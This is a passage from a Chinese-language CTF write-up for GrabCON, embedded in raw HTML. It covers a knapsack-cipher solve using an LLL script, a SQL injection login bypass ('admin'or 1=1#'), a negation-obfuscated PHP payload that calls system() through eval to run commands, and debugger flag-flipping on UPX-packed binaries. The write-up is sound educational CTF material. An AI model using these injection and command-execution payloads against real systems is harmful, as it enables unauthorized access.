class="code-snippet__keyword">join</span>(bin(ord(i))[<span class="code-snippet__number">2</span>:]).split()))) <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> flag]</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">def <span class="code-snippet__title">num_gen</span>(<span class="code-snippet__params">first, last</span>):</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">   o</span> = [[<span class="code-snippet__number">1</span>]]                       </span></code><code><span class="code-snippet_outer">   cnt = <span class="code-snippet__number">1</span>                            </span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">while</span> cnt &lt;= last:</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">if</span> cnt &gt;= first:</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">yield</span> o[<span class="code-snippet__number">-1</span>][<span class="code-snippet__number">0</span>]           </span></code><code><span class="code-snippet_outer">       row = [o[<span class="code-snippet__number">-1</span>][<span class="code-snippet__number">-1</span>]]            </span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">for</span> b <span class="code-snippet__keyword">in</span> o[<span class="code-snippet__number">-1</span>]:</span></code><code><span class="code-snippet_outer">        row.append(row[<span class="code-snippet__number">-1</span>] + b)  </span></code><code><span class="code-snippet_outer">       cnt += <span class="code-snippet__number">1</span>                       </span></code><code><span class="code-snippet_outer">       o.append(row)</span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> <span class="code-snippet__title">num_gen</span>(<span class="code-snippet__params"><span class="code-snippet__number">7</span>, <span class="code-snippet__number">13</span></span>):</span></span></code><code><span class="code-snippet_outer">       s.<span class="code-snippet__title">append</span>(<span class="code-snippet__params">i</span>)</span></code><code><span class="code-snippet_outer">            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> <span class="code-snippet__title">range</span>(<span class="code-snippet__params">len(s</span>)):</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    ni</span> = ((l*s[i]) % M)           </span></code><code><span class="code-snippet_outer">    n.append(ni)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> p <span class="code-snippet__keyword">in</span> k:</span></code><code><span class="code-snippet_outer">    C_curr = []</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (x,y) <span class="code-snippet__function"><span class="code-snippet__keyword">in</span> <span class="code-snippet__title">zip</span>(<span class="code-snippet__params">p, n</span>):</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">        C_</span> = x*y</span></code><code><span class="code-snippet_outer">        C_curr.append(C_)</span></code><code><span class="code-snippet_outer">    C += [sum(C_curr)]</span></code><code><span class="code-snippet_outer">print(M, s, l, C, n)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#M = 7777771</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#s = [203,877,4140,21147,115975,678570,4213597]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#l = 1337</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#C = [15051976, 12005794, 3916945, 6470614, 7771050, 19992202, 17519217, 19419005, 13883825, 18691766, 13988655, 6979140, 14478779, 13988655, 8943599, 13883825, 25527382, 6384186, 13988655, 16461640, 25527382, 16224525, 6707729, 21488294, 25527382, 14392351, 6707729, 16733051, 12005794, 25527382, 6470614, 3916945, 7771050, 12711276, 21673277]</span></span></code></pre></section><p style="white-space: normal;"><strong style="font-size: 20px;"></strong></p><p style="min-height: 24px;">根据以上源码可知，该题将flag的每个字符转换成二进制形式，进行背包加密，每个背包的重量为数组n，每个字符的加密结果存在数组C中，使用ctf-wiki上的脚本进行解密</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> binascii</span></code><code><span class="code-snippet_outer">pubKey=[<span class="code-snippet__number">271411</span>, <span class="code-snippet__number">1172549</span>, <span class="code-snippet__number">5535180</span>, <span class="code-snippet__number">4940226</span>, <span class="code-snippet__number">7280926</span>, <span class="code-snippet__number">5026654</span>, <span class="code-snippet__number">2472985</span>]</span></code><code><span class="code-snippet_outer">nbit = len(pubKey)</span></code><code><span class="code-snippet_outer">c = [<span class="code-snippet__number">15051976</span>, <span class="code-snippet__number">12005794</span>, <span class="code-snippet__number">3916945</span>, <span class="code-snippet__number">6470614</span>, <span class="code-snippet__number">7771050</span>, <span class="code-snippet__number">19992202</span>, <span class="code-snippet__number">17519217</span>, <span class="code-snippet__number">19419005</span>, <span class="code-snippet__number">13883825</span>, <span class="code-snippet__number">18691766</span>, <span class="code-snippet__number">13988655</span>, <span class="code-snippet__number">6979140</span>, <span class="code-snippet__number">14478779</span>, <span class="code-snippet__number">13988655</span>, <span class="code-snippet__number">8943599</span>, <span class="code-snippet__number">13883825</span>, <span class="code-snippet__number">25527382</span>, <span class="code-snippet__number">6384186</span>, <span class="code-snippet__number">13988655</span>, <span class="code-snippet__number">16461640</span>, <span class="code-snippet__number">25527382</span>, <span class="code-snippet__number">16224525</span>, <span class="code-snippet__number">6707729</span>, <span class="code-snippet__number">21488294</span>, <span class="code-snippet__number">25527382</span>, <span class="code-snippet__number">14392351</span>, <span class="code-snippet__number">6707729</span>, <span class="code-snippet__number">16733051</span>, <span class="code-snippet__number">12005794</span>, <span class="code-snippet__number">25527382</span>, <span class="code-snippet__number">6470614</span>, <span class="code-snippet__number">3916945</span>, <span class="code-snippet__number">7771050</span>, <span class="code-snippet__number">12711276</span>, <span class="code-snippet__number">21673277</span>]</span></code><code><span class="code-snippet_outer">f=<span class="code-snippet__string">&#39;&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(len(c)):</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  encoded = c[i]</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">#encoded=273226919366677</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">print</span> <span class="code-snippet__string">&#34;start&#34;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># create a large matrix of 0&#39;s (dimensions are public key length +1)</span></span></code><code><span class="code-snippet_outer">  A = Matrix(ZZ, nbit + <span class="code-snippet__number">1</span>, nbit + <span class="code-snippet__number">1</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># fill in the identity matrix</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> xrange(nbit):</span></code><code><span class="code-snippet_outer">      A[i, i] = <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># replace the bottom row with your public key</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> xrange(nbit):</span></code><code><span class="code-snippet_outer">      A[i, nbit] = pubKey[i]</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># last element is the encoded message</span></span></code><code><span class="code-snippet_outer">  A[nbit, nbit] = -int(encoded)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  res = A.LLL()</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">0</span>, nbit + <span class="code-snippet__number">1</span>):</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment"># print solution</span></span></code><code><span class="code-snippet_outer">      M = res.row(i).list()</span></code><code><span class="code-snippet_outer">      flag = <span class="code-snippet__keyword">True</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">for</span> m <span class="code-snippet__keyword">in</span> M:</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">if</span> m != <span class="code-snippet__number">0</span> <span class="code-snippet__keyword">and</span> m != <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">              flag = <span class="code-snippet__keyword">False</span></span></code><code><span class="code-snippet_outer">              <span class="code-snippet__keyword">break</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> flag:</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">print</span> i, M</span></code><code><span class="code-snippet_outer">          M = <span class="code-snippet__string">&#39;&#39;</span>.join(str(j) <span class="code-snippet__keyword">for</span> j <span class="code-snippet__keyword">in</span> M)</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment"># remove the last bit</span></span></code><code><span class="code-snippet_outer">          M = M[:<span class="code-snippet__number">-1</span>]</span></code><code><span class="code-snippet_outer">          M = chr(int(M, <span class="code-snippet__number">2</span>))</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">print</span> M</span></code><code><span class="code-snippet_outer">    f+=M    </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">print</span> f</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#得到flag为GrabCON{kn4ps4ck_h45_g07_y0ur_baCK}</span></span></code></pre></section><p style="white-space: normal;margin-top: 5px;margin-bottom: 5px;"><strong><span style="font-size: 24px;">3、Web</span></strong></p><h1 style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>3.1、E4sy Pe4sy</strong></span></h1><p style="white-space: normal;"><strong><span style="font-size: 24px;"></span></strong></p><ne-p data-lake-id="ue4490968" style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;box-sizing: border-box;display: block;min-height: 24px;"><ne-text style="box-sizing: border-box;">进去之后在登录框中用万能密码进行sql注入</ne-text></ne-p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">username=admin&#39;or 1=1<span class="code-snippet__comment">#</span></span></code><code><span class="code-snippet_outer">password=admin&#39;or 1=1<span class="code-snippet__comment">#</span></span></code></pre></section><pre style="box-sizing: border-box;font-family: inherit;font-size: inherit;overflow: visible;border-radius: 0px;border-width: 0px;background: transparent;overflow-wrap: normal;word-break: normal;line-height: inherit;color: inherit;z-index: 2;-webkit-tap-highlight-color: transparent;font-variant-ligatures: contextual;display: inline-block;padding-bottom: 24px;padding-block-end: 8px;"><p style="min-height: 24px;">登录即可得到flag:GrabCON{E4sy_pe4sy_SQL_1nj3ct10n}</p></pre><h1 style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>3.2、Basic Calc</strong></span></h1><p style="min-height: 24px;"><span style="font-size: 16px;">一道典型的php无字母shell题，preg_match匹配输入中是否存在字母，存在的话进入die分支，不存在则进入eval函数执行</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9177570093457944" data-s="300,640" style="" data-type="png" data-w="535" src="https://wechat2rss.xlab.app/img-proxy/?k=0820a031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtGjhywF8r2qEv9n7XqWuTlZuIZPohScsAyDMUGbzc0yyg1KdkpZiaInw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">由于题中已经提供了eval函数，所以用取反构造system函数输入命令即可</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">eq=$_=~&#34;%8C%86%8C%8B%9A%92&#34;;$__=~&#34;%a0%af%b0%ac%ab&#34;;$___=$$__;$_($___[_]);&amp;_=whoami</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.19133574007220217" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=5f1fa355&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtNaQRUibz8Vv9Dnq63BgNbjXdIw3D2vASBkGibPemY7z8XfXEssyO6MIw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38267148014440433" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=d10562e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtQGMWm2Qj8AuP5zLjRDPUn6XWc5Pia7qGRWI4SicHgSVlYNKKKuK5ibACg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16606498194945848" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=73cba922&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtNEtIHLYAvgJFzggjiaWCh3US9MhUAK7jLmoX9XGlasO7welC6RB4SwQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;margin-top: 5px;margin-bottom: 5px;"><strong><span style="font-size: 24px;">4、R</span></strong><strong><span style="font-size: 24px;">eversing</span></strong></p><h1 style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>4.1、Easy Rev</strong></span></h1><p style="min-height: 24px;">直接静态查看，比较输入和v2</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6962962962962963" data-s="300,640" style="" data-type="png" data-w="540" src="https://wechat2rss.xlab.app/img-proxy/?k=c9604b8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtauRs2qONZlGc3nAOtjuxmHVU42GsTXqHqHgUX3c7aOvvuWianSr45rg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">运行得到flag</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4085106382978723" data-s="300,640" style="" data-type="png" data-w="235" src="https://wechat2rss.xlab.app/img-proxy/?k=e13eb0b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLt5lKYqBBVZqagJMDcjJLgg0iajVX0icZo1ibFsTqBeso61x1JFNB0ob70Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><strong><span style="font-size: 24px;"></span></strong></p><h1 style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>4.2、Unknow1</strong></span></h1><p style="min-height: 24px;"><span style="font-size: 16px;">exeinfo</span><span style="font-size: 16px;">查壳发现存在</span><span style="font-size: 16px;">upx</span><span style="font-size: 16px;">壳</span></p><p style="min-height: 24px;"><img data-ratio="0.49038461538461536" width="520" data-type="png" data-w="520" src="https://wechat2rss.xlab.app/img-proxy/?k=96181b78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtialx24SH1picMaH92gnqWzhvibQSjoibkQCtqmAgWLHpuQpxxXwnCPyMdA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">去壳后ida</span><span style="font-size: 16px;">动态调试，查询字符串定位到“</span><span style="font-size: 16px;">Enter the password: “</span><span style="font-size: 16px;">下断点</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.11010830324909747" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=12d05a3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtcOjybMwzTLyxcFqvdYsNfHbtEFEZatKQCuJ89txribUib8zB8QPDLnCg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">开始调试，到输入函数停止，输入</span><span style="font-size: 16px;">123456789</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29061371841155237" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=ec7b27f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtDZqqNthTMf82Tx17yOMoJoBMyMhicmV7dOAC2PoiaevJHORXuzQde3uA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">回车，继续跟进，发现到</span><span style="font-size: 16px;">0x401EBA</span><span style="font-size: 16px;">处存在一处判断跳转，会跳转到失败分支，但其正下方就是成功分支，所以修改</span><span style="font-size: 16px;">ZF</span><span style="font-size: 16px;">标志位的值，使其不跳转</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2563176895306859" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4d23e87e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtfwwQHQNPXibcDw2V3qQPwrxibQiaAQCicoSoib9tJamYaVialm3BmlawHLrw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24368231046931407" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1abba0ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtrlu6cYsOPZMezJP8t1ysh9JLxib6zb9spPwok3EE5HZKZZ4f9PJ7l2w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">进入到成功分支，继续跟进，得到</span><span style="font-size: 16px;">flag</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.33518005540166207" data-s="300,640" style="" data-type="png" data-w="361" src="https://wechat2rss.xlab.app/img-proxy/?k=640fc010&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtxQsB2f0MDyoEibp388Y8mgicOibzOibGerW3M1oRYMWzBOkj4oRoS6fYlA%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>4.3、Unknow2</strong></span></h1><p style="min-height: 24px;"><span style="font-size: 16px;">查壳，发现存在</span><span style="font-size: 16px;">UPX</span><span style="font-size: 16px;">壳</span></p><p style="min-height: 24px;"><img data-ratio="0.4951644100580271" width="517" data-type="png" data-w="517" src="https://wechat2rss.xlab.app/img-proxy/?k=cff3a2c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtiaFibibh76iaP3IuEMr9Saz8kxHVy1wDBEJMlCRXQL9Ln8NibkK3Ge5wicBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">去壳之后</span><span style="font-size: 16px;">IDA</span><span style="font-size: 16px;">打开，静态查看字符串，发现关键字符</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36462093862815886" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=49830bd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtwFchAwUibcq8pYuPvQS0mHgaVvcPNQHFI9MnglicUXktdt8ibiaia3Ol8dg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5685920577617328" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=dd3a3d9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtKmrvg6Ziakmf6v2hoyjGsjYoZXSGNWpzKCEkHR1jpYNjTM38z0R0fibw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">在</span><span style="font-size: 16px;">banner</span><span style="font-size: 16px;">处下断点，尝试能否让程序走向输入密码分支</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.628158844765343" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=c3fdb3e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLt3v1ticQVh7iaUgChEGiajMH0cHmD2gmLXBBGPicDU5zibibr70sOCjB6J4jw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="min-height: 24px;"><span style="font-size: 16px;">开始调试</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3267148014440433" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1233b6e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLticQZWzicsF3WSg4RyBcGs5g9aX7AA3zm2OSjurSjttMa8vYiblCKIJZoQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">结果失败，还是会直接退出且中间没有判断跳转点，所以继续进行静态分析，在</span><span style="font-size: 16px;">main_one</span><span style="font-size: 16px;">函数中找到可疑代码</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6028880866425993" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=8474e185&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtjxjgb0eXVibK3BVpNFO3IeY85MbRWZ78HdG0L1PiafXMhJwiasMPFA2bg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">尝试让程序走到</span><span style="font-size: 16px;">main_one</span><span style="font-size: 16px;">分支试试，向上追溯，在</span><span style="font-size: 16px;">main_main</span><span style="font-size: 16px;">函数处下断点，开始调试</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42057761732851984" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=2bae709a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtffyTIvBC54iaRMpoibQrQ2YhVicPia3DDQELyRvQuIoYfLBNDPianuBpXHA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">一路</span><span style="font-size: 16px;">F8</span><span style="font-size: 16px;">直到</span><span style="font-size: 16px;">0x000055B6E7319F96</span><span style="font-size: 16px;">处发现有一个跳转逻辑跳过了</span><span style="font-size: 16px;">main_one</span><span style="font-size: 16px;">函数，所以修改</span><span style="font-size: 16px;">ZF</span><span style="font-size: 16px;">标志位，使其不跳转，再</span><span style="font-size: 16px;">F7</span><span style="font-size: 16px;">步入</span><span style="font-size: 16px;">main_one</span><span style="font-size: 16px;">函数</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30324909747292417" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=aac654d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtJ1OIZS2uC6Ria3zdNtNmYCD1wTo3tfltVPyydtjx2HGsyLlwiaibYibxVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">跟进，发现之前标记的关键词断点，执行过去之后控制台弹出输入密码字符</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5884476534296029" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=e6d9b7f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtRvgICpic5TgZEE5IjuicKmHUX3eUSk1HTkmqAwU4sScwZJWmIicJBxqjQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3857442348008386" data-s="300,640" style="" data-type="png" data-w="477" src="https://wechat2rss.xlab.app/img-proxy/?k=65473f89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLt4avia1UBUVltfMZ7ibcaukveI4hCHLP7u0cq0mKic24YfkdyKXzWvWSdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">回车输入密码一路跟进，经过一个大循环到达可疑位置上方，此时又出现一个跳转，还是修改标志位，不让他跳转，注意此时修改的是SF标志位（之前都是ZF位）</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2563176895306859" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=a605d5ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtf3iaZNOp8xVXKRrx1r7iaWmvicjlVBeyb1xJdo3mGwb4pOlhnSYw4sXBw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16425992779783394" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=9d1d023e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtria9tTa2MBrcIkSibptJobqTIEMZZ54n6eDbS9sw5NKdP7icuOZxB0BYA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">跟进一行又碰到一个跳转，老套路修改标志位，成功进入到可疑分支</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16606498194945848" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=81b63890&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtbE1Kpiciasjl6737XvYl9c0wEvoWp5Ey2g0N6aJZRJs0ddIOm8SqIb5w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3483754512635379" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=d4e4af99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLt0ibwYsSXRIRPDqK2Z54FyLblxv2Etzf7voNBI1HrHTsibNzEDm9WfZqQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">继续跟进，发现go_C14，这是字符串“GrabCON{”的地址</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2490974729241877" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=2b5e85b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLt9sQIDCngW8RqjdYYxfqDnk4uSEfStAUDvHEFc93REBBF3HdmYkkf5g%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">一路跟进到一个打印函数，发现打印出</span><span style="font-size: 16px;">flag</span><span style="font-size: 16px;">，</span><span style="font-size: 16px;">flag</span><span style="font-size: 16px;">中括号前后有两个空格要去掉</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5523465703971119" data-s="300,640" style="" data-type="png" data-w="554" 